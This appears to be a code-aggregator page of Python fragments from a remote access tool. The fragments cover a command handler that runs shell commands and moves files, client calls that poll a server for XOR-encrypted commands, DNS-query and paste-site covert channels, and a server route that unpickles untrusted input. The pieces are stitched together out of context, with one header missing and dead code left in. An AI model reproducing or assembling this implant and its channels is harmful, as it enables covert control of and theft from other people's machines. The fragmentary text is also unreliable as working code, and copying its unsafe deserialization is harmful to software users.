Exemplo n.º 1
0
    def handle(self, cmd):
        if cmd['bg']:
            new = cmd
            new['bg'] = False
            _thread.start_new_thread(self.handle, (new, ))
            cmd['res'] = "started in background"
            return cmd

        if cmd['type'] == "cd":
            cmd['res'] = utils.cd(cmd['dir'])
            return cmd
        elif cmd['type'] == "sh":
            cmd['res'] = utils.b64e(utils.sh(cmd['cmd']))
            return cmd
            # elif cmd['type'] == "exec":
            # 	exec(cmd['cmd'])
            # 	cmd['res'] = utils.b64e("exec'd".encode())
            return cmd
        elif cmd['type'] == "dl":
            fd = open(cmd['fn'], "rb").read()
            cmd['res'] = utils.b64e(fd)
            return cmd
        elif cmd['type'] == "ul":
            with open(cmd['fn'], "wb") as f:
                f.write(utils.b64d(cmd['data']))
            cmd['res'] = "ok"
            return cmd
        elif cmd['type'] == "exit":
            return "exit"
        else:
            cmd['res'] = "invalid type: " + cmd['type']
            return cmd
Exemplo n.º 2
0
 def recv(self):
     dat = requests.post(self.server + "/messages", data={'user': self.usr})
     if dat.status_code == 401:
         raise BaseException(dat.content.decode())
     dec = xor.decrypt(utils.b64d(dat.content.decode()), self.pwd)
     msg = json.loads(dec.decode())
     return msg
def app_check():
    enc = request.form['key']
    tkn = cPickle.loads(utils.b64d(enc))
    if tkn in keys:
        return str(keys[tkn])
    else:
        return "none"
Exemplo n.º 4
0
 def send_message():
     dat = request.form
     if not dat['user'] in self.users:
         return "status: unauthorized", 401
     enc = utils.b64d(dat['msg'])
     msg = xor.decrypt(enc, self.users[dat['user']])
     self.messages.append(msg)
     return "status: ok"
Exemplo n.º 5
0
	def sh(self, cmd):
		pl = {'type':'sh','cmd':cmd}
		self.send_cmd(pl)
		return utils.b64d(self.get_result()['res'])
Exemplo n.º 6
0
	def dl(self, fn, bg=False):
		msg = {"type":"dl","fn":fn,"bg":bg}
		res = self.do_msg(msg)
		return utils.b64d(res['res'])
Exemplo n.º 7
0
	def sh(self, cmd, bg=False):
		msg = {"type":"sh","cmd":cmd,"bg":bg}
		res = self.do_msg(msg)
		return utils.b64d(res['res'])
Exemplo n.º 8
0
 def decrypt(self, pkt):
     return utils.b64d(pkt['DNS'].qd.qname.decode().split(".")[0])
Exemplo n.º 9
0
 def recv(self):
     res = utils.b64d(requests.get(url).decode())
     r = requests.delete("https://ptpb.pw/" + uid)
     return res
Exemplo n.º 10
0
 def app_ul():
     out = request.form['of']
     dat = b64d(request.form['data'])
     with open(out, "wb") as f:
         f.write(dat)
     return "ok"